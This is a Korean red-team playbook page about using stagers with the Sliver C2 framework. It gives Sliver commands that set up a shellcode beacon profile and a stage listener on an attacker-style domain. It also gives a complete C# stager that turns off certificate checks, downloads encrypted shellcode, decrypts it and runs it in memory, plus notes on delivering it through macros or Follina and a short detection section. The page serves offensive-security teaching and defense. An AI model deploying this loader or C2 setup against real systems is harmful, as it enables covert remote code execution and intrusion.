📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 실습
  • 스테이저
  • 무기화
  • 대응 방안
  • 레퍼런스
  1. 인프라 (Infrastructure)
  2. 팀 서버 - Sliver

스테이저 (Stager) 사용

슬리버 C2의 에이전트는 PE 바이너리로 생성할 경우 약 10MB 정도의 큰 크기를 갖는다. 또한 슬리버를 통해 생성한 바이너리의 경우 이미 AV/EDR 솔루션들에게 시그니처를 당했기 때문에 정적 탐지에 걸릴 확률이 높다. 마지막으로, 타겟이 .exe PE 바이너리 파일을 다운 받아 실행시키는 초기 침투 방법은 탐지 확률이 높아 2000년대 이후로 기피되고 있다.

이런 문제점들을 해결하기 위해 슬리버 C2에서는 스테이저(Stager)를 사용한다. 스테이저란 먼저 타겟 호스트에서 실행된 뒤 메인 비컨 쉘코드를 다운받아 메모리상에서 실행하는 쉘코드다. 스테이저와 관련된 요소들은 다음과 같다.

  • 스테이저(stager): 슬리버 C2나 외부에서 메인 비컨 쉘코드를 다운받아 메모리상에서 실행시켜주는 쉘코드

  • 스테이저-리스너(stager-listener): 스테이저가 방문해 메인 비컨 쉘코드를 다운 받을 리스너

  • 프로필(profile): 메인 비컨 쉘코드 프로파일

이외에도 슬리버 C2 프레임워크가 만들어주는 스테이저를 사용하지 않고 스스로 직접 커스텀 스테이저를 만들수도 있다. 이 경우 다음과 같은 방법으로 메인 비컨이 실행된다.

  1. 커스텀 스테이저가 C2 서버(실제론 리다이렉터)의 스테이저-리스너에 방문해 메인 비컨 쉘코드를 바이트 배열 포멧으로 받아온다

  2. 메인 비컨 쉘코드를 가지고 있던 키와 IV로 복호화한다

  3. 메인 비컨 쉘코드를 인젝션 하거나 해당 프로세스에 로드해 실행한다

  4. 메인 비컨은 실행되어 실제 리스너에 방문해 비컨 활동을 시작한다

여기서 조금 헷갈리는 것은 실제 리스너와 스테이저-리스너가 같은 포트를 공유할 수 있다는 점이다. 확실히 알아보기 위해 실습을 해보자.

실습

먼저 메인 비컨의 쉘코드 프로파일을 생성해준다.

# TODO - 공격 도메인이 아닌 간단한 http 실습 작성 

# 메인 비컨 쉘코드 프로필 생성 
profiles new beacon --http https://info.koreambtihealth.com:443 --format shellcode win-shellcode

# 스테이지 리스너 생성 
stage-listener --url https://info.koreambtihealth.com:443 -c /root/redteam/certbot/fullchain.pem -k /root/redteam/certbot/privkey.pem --profile win-shellcode

여기까지 실행하면 다음과 같은 것들이 준비된 것이다

  1. 메인 비컨 쉘코드를 만들기 위한 프로필 (양식/템플릿) - 메인 비컨은 https를 이용해 info.koreambtihealth.com 의 포트 443을 가진 메인 리스너로 콜백한다.

  2. 스테이저 리스너는 스테이저로부터 쉘코드를 공급하기 위해 만들어진 리스너다. 스테이저가 https를 이용해 info.koreambtihealth.com 의 포트 443로 방문하면, 메인 비컨의 쉘코드를 다운받도록 도와준다.

스테이저

스테이저 코드는 Sliver 공식문서 것을 사용한다. 추후 Defense Evasion 섹션에서 이 스테이저를 좀 더 고급스럽게 만들 것이지만, 일단은 간단하게 C# + PInvoke를 이용한 VirtualAlloc + Marshal.Copy + CreateThread + WaitForSingleObject 콤보를 사용한다.

SliverStager.cs1
using System;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "https://<ip/FQDN>:<port>/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            shellcode = Decrypt(shellcode, AESKey, AESIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}

여기서 특이한 점은 바로 private static string url = "https://<ip/FQDN>:<port>/test.woff"; 이 라인이다. test.woff 라는 파일을 만든 적이 없는데 이걸 왜 쓰는거지? 라고 궁금했었는데, stage-listener 는 기본적으로 클라이언트가 *.woff 라는 파일 확장자를 가진 파일을 요청하면 슬리버 쉘코드를 반환해주기에 사용한다.

무기화

커스텀 스테이저가 C#으로 만들어졌기 때문에 이를 파워쉘에서 불러올수도 있고, 이 파워쉘 코드를 Follina 나 MS Office 매크로 등에서 사용하는 것도 가능하다. 이에 관련해서는 실행 (Execution) 파트에서 다룬다.

대응 방안

특정 프로세스가 특정 도메인에 방문할 때 URL 주소 끝에 .woff 가 들어가있고, 반환된 .woff 파일이 암호화된, 혹은 알아볼 수 없는 raw binary data 일 경우, 그리고 그 크기가 8~15MB 일 때 슬리버 쉘코드일 확률이 매우 높다.

물론 이는 또 Malleable C2를 이용해 우회할 수 있지만, 이것은 다른 페이지에서 설명한다.

그 외에는 초기 침투 단계와 실행 단계에서 막아내거나, 프로세스 인젝션 단계에서 막는 방법, 그리고 도메인 신뢰도 등을 이용해 수상한 도메인 접근을 시도하는 프로세스를 막는 방법 등이 존재한다.

레퍼런스

Previous팀 서버 - SliverNext도메인 분류와 신뢰도

Last updated 2 years ago

🚧
Stagers · BishopFox/sliver WikiGitHub
Logo